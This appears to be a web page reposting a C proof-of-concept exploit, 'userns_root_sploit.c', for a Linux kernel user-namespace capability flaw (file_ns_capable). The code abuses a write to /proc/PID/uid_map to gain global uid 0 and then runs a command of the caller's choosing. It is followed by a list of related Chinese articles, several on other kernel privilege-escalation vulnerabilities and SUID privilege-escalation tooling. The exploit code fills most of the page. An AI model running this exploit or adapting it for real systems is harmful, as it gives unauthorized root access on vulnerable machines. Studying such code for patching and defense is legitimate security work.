Linux Kernel open-time Capability file_ns_capable() Privilege Escalation

简介: /* userns_root_sploit.c by *//* Copyright (c) 2013 Andrew Lutomirski.
/* userns_root_sploit.c by */
/* Copyright (c) 2013 Andrew Lutomirski.  All rights reserved. */
/* You may use, modify, and redistribute this code under the GPLv2. */
 
#define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <linux/futex.h>
#include <errno.h>
#include <unistd.h>
#include <sys/syscall.h>
 
#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif
 
pid_t parent;
int *ftx;
 
int childfn()
{
  int fd;
  char buf[128];
 
  if (syscall(SYS_futex, ftx, FUTEX_WAIT, 0, 0, 0, 0) == -1 &&
      errno != EWOULDBLOCK)
    err(1, "futex");
 
  sprintf(buf, "/proc/%ld/uid_map", (long)parent);
  fd = open(buf, O_RDWR | O_CLOEXEC);
  if (fd == -1)
    err(1, "open %s", buf);
  if (dup2(fd, 1) != 1)
    err(1, "dup2");
 
  // Write something like "0 0 1" to stdout with elevated capabilities.
  execl("./zerozeroone", "./zerozeroone");
 
  return 0;
}
 
int main(int argc, char **argv)
{
  int dummy, status;
  pid_t child;
 
  if (argc < 2) {
    printf("usage: userns_root_sploit COMMAND ARGS...\n\n"
           "This will run a command as (global) uid 0 but no capabilities.\n");
    return 1;
  }
 
  ftx = mmap(0, sizeof(int), PROT_READ | PROT_WRITE,
             MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  if (ftx == MAP_FAILED)
    err(1, "mmap");
 
  parent = getpid();
 
  if (signal(SIGCHLD, SIG_DFL) != 0)
    err(1, "signal");
 
  child = fork();
  if (child == -1)
    err(1, "fork");
  if (child == 0)
    return childfn();
 
  *ftx = 1;
  if (syscall(SYS_futex, ftx, FUTEX_WAKE, 1, 0, 0, 0) != 0)
    err(1, "futex");
 
  if (unshare(CLONE_NEWUSER) != 0)
    err(1, "unshare(CLONE_NEWUSER)");
 
  if (wait(&status) != child)
    err(1, "wait");
  if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
    errx(1, "child failed");
 
  if (setresuid(0, 0, 0) != 0)
    err(1, "setresuid");
  execvp(argv[1], argv+1);
  err(1, argv[1]);
 
  return 0;
}
目录
相关文章
|
安全 Ubuntu Linux
Linux Kernel 权限提升漏洞 (CVE-2023-32233)
Linux Netfilter 是一个在 Linux 内核中的网络数据包处理框架,也称作 iptables,它可以通过各种规则和过滤器,基于数据包的来源、目标地址、协议类型、端口号等信息,控制网络流量和数据包的转发和处理,是 Linux 系统网络安全性和可靠性的重要组成部分
542 1
Linux Kernel 权限提升漏洞 (CVE-2023-32233)
|
安全 Ubuntu Linux
Linux Kernel openvswitch模块权限提升漏洞(CVE-2022-2639)
Linux 内核模块Open vSwitch 存在越界写入漏洞,在足够多actions情况下,在为新的flow的新的action拷贝和预留内存时,如果next_offset比MAX_ACTIONS_BUFSIZE大,reserve_sfa_size并不会如期返回 -EMSGSIZE,此时会产生越界写入漏洞。攻击者可以利用该漏洞将普通权限提升至ROOT权限。
375 1
|
Linux 调度 Android开发
【系统启动】Kernel怎么跳转到Android:linux与安卓的交界
【系统启动】Kernel怎么跳转到Android:linux与安卓的交界
392 0
|
Linux C语言
Linux内核学习(七):linux kernel内核启动(一):概述篇
Linux内核学习(七):linux kernel内核启动(一):概述篇
406 0
|
Ubuntu Linux 开发工具
嵌入式Linux系列第4篇:Kernel编译下载
嵌入式Linux系列第4篇:Kernel编译下载
|
Linux 芯片
Linux内核学习(六):linux kernel的Kconfig分析
Linux内核学习(六):linux kernel的Kconfig分析
1494 0
|
存储 缓存 编译器
Linux kernel memory barriers 【ChatGPT】
Linux kernel memory barriers 【ChatGPT】
285 11
|
Linux 网络安全 开发工具
内核实验(二):自定义一个迷你Linux ARM系统,基于Kernel v5.15.102, Busybox,Qemu
本文介绍了如何基于Linux Kernel 5.15.102版本和BusyBox创建一个自定义的迷你Linux ARM系统,并使用QEMU进行启动和调试,包括内核和BusyBox的编译配置、根文件系统的制作以及运行QEMU时的命令和参数设置。
1668 0
内核实验(二):自定义一个迷你Linux ARM系统,基于Kernel v5.15.102, Busybox,Qemu
|
自然语言处理 安全 Shell
Linux 提权-SUID/SGID_1 本文通过 Google 翻译 SUID | SGID Part-1 – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
接下来,让我们看看 SUID3NUM 在枚举 SUID 二进制文件方面的表现如何。 3.2、枚举 SUID 二进制文件 – SUID3NUM 我们将用来枚举 SUID 二进制文件的第二个工具是 SUID3NUM。这是一个很棒的工具,因为它是专门为枚举 SUID 二进制文件而创建的。但这还不是全部,它还提供了可用于提升权限的命令(命令从 GTFOBins 中提取)。 这还不是最好的部分,SUID3NUM 还具有内置的 autopwn 功能,可以通过 -e 开关激活! 在 OSCP 考试中也使用此工具,只要您不使用自动利用功能。 3.2.1、下载并执行 SUID3NUM 我们可以从 GitHubs
282 0
|
编解码 Linux Android开发
linux文件组 avc: denied { dac_read_search } for capability=2
linux文件组 avc: denied { dac_read_search } for capability=2
937 0